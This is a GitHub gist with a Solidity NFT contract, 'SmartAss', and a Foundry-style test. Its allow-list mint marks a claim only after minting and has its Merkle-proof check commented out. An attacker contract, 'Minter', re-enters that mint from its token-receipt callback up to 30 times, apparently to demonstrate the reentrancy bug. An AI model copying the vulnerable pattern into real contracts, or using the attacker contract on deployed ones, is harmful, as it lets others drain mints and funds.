Skip to content

Instantly share code, notes, and snippets.

@lukaspili
Created April 20, 2022 18:59
Show Gist options
  • Save lukaspili/3c6f0605541ba7e9a5ead48663ab0ec1 to your computer and use it in GitHub Desktop.
Save lukaspili/3c6f0605541ba7e9a5ead48663ab0ec1 to your computer and use it in GitHub Desktop.
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;
import "@openzeppelin/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/access/Ownable.sol";
import "@openzeppelin/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/utils/Strings.sol";
import "@openzeppelin/token/ERC721/IERC721Receiver.sol";
import "./util/Test.t.sol";
contract SmartAss is ERC721Enumerable, Ownable {
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 10000;
string public baseURI;
string public baseExtension = ".json";
uint256 public cost = 0.000001 ether;
uint256 public maxMintAmount = 20;
bool public paused = true;
bool public onlyAllowedList = true;
uint256 internal supply;
bytes32 internal merkleRootHash;
mapping(address => bool) public allowedListClaimed;
event NFTMinted(address sender);
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
}
// modifiers
modifier stateCompliance() {
require(!paused, "the contract is paused");
_;
}
modifier mintCompliance(uint256 _mintAmount) {
require(_mintAmount > 0, "need to mint at least 1 NFT");
if (msg.sender != owner()) {
require(_mintAmount <= maxMintAmount, "max mint amount per session exceeded");
}
supply = totalSupply();
require(supply + _mintAmount <= MAX_SUPPLY, "max NFT limit exceeded");
_;
}
modifier mintPriceCompliance(uint256 _mintAmount) {
require(msg.value >= cost * _mintAmount, "insufficient funds");
_;
}
modifier allowedListCompliance(uint256 _mintAmount) {
require(!allowedListClaimed[msg.sender], "mint allocation already claimed");
// require(_validateTxn(proof, msg.sender), "invalid proof, transaction not valid");
_;
}
// external
function mint(uint256 _mintAmount)
external
payable
stateCompliance
mintCompliance(_mintAmount)
mintPriceCompliance(_mintAmount)
{
require(!onlyAllowedList, "minting is resctricted to the allowed list"); //allowed
_mintQty(_mintAmount, msg.sender);
}
function allowedListMint(uint256 _mintAmount)
external
payable
stateCompliance
mintCompliance(_mintAmount)
allowedListCompliance(_mintAmount)
{
_mintQty(_mintAmount, msg.sender);
allowedListClaimed[msg.sender] = true;
}
function isAllowedListClaimed(address _user) external view returns (bool) {
return allowedListClaimed[_user];
}
function walletOfOwner(address _owner) external view returns (uint256[] memory) {
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; ++i) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory currentBaseURI = _baseURI();
return
bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
// internal
function _mintQty(uint256 _mintAmount, address _receiver) internal {
for (uint256 i = 1; i <= _mintAmount; ++i) {
_safeMint(_receiver, supply + i);
}
emit NFTMinted(_receiver);
}
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function _validateTxn(bytes32[] memory proof, address _user) internal view returns (bool) {
return _merkleVerify(proof, _hashLeaf(_user));
}
function _merkleVerify(bytes32[] memory proof, bytes32 hashedLeaf)
internal
view
returns (bool)
{
return MerkleProof.processProof(proof, hashedLeaf) == merkleRootHash;
}
function _hashLeaf(address _user) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(_user));
}
/**
* Owner
*/
function setClaimedStateForAddress(bool _state, address _address) external onlyOwner {
allowedListClaimed[_address] = _state;
}
function mintOnBehalf(uint256 _mintAmount, address _receiver)
external
mintCompliance(_mintAmount)
onlyOwner
{
supply = totalSupply();
_mintQty(_mintAmount, _receiver);
}
function setMerkleRoot(bytes32 _newRoot) external onlyOwner {
merkleRootHash = _newRoot;
}
function setCost(uint256 _newCost) external onlyOwner {
cost = _newCost;
}
function setMaxMintAmount(uint256 _newmaxMintAmount) external onlyOwner {
maxMintAmount = _newmaxMintAmount;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string calldata _newBaseExtension) external onlyOwner {
baseExtension = _newBaseExtension;
}
function setPaused(bool _state) external onlyOwner {
paused = _state;
}
function setOnlyAllowedList(bool _state) external onlyOwner {
onlyAllowedList = _state;
}
function withdraw() external payable onlyOwner {
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
}
}
contract Minter is IERC721Receiver {
SmartAss private _collection;
bytes32[] proof;
uint256 minted = 1;
constructor(SmartAss collection) {
_collection = collection;
}
function mint() public {
_collection.allowedListMint(1);
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external override returns (bytes4) {
if (minted < 30) {
minted += 1;
_collection.allowedListMint(1);
}
return Minter.onERC721Received.selector;
}
}
contract SmartAssTest is Test {
SmartAss collection;
Minter minter;
function setUp() public {
collection = new SmartAss("SmartAss", "SA", "blah");
collection.setPaused(false);
minter = new Minter(collection);
}
function testReentrancy() public {
minter.mint();
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment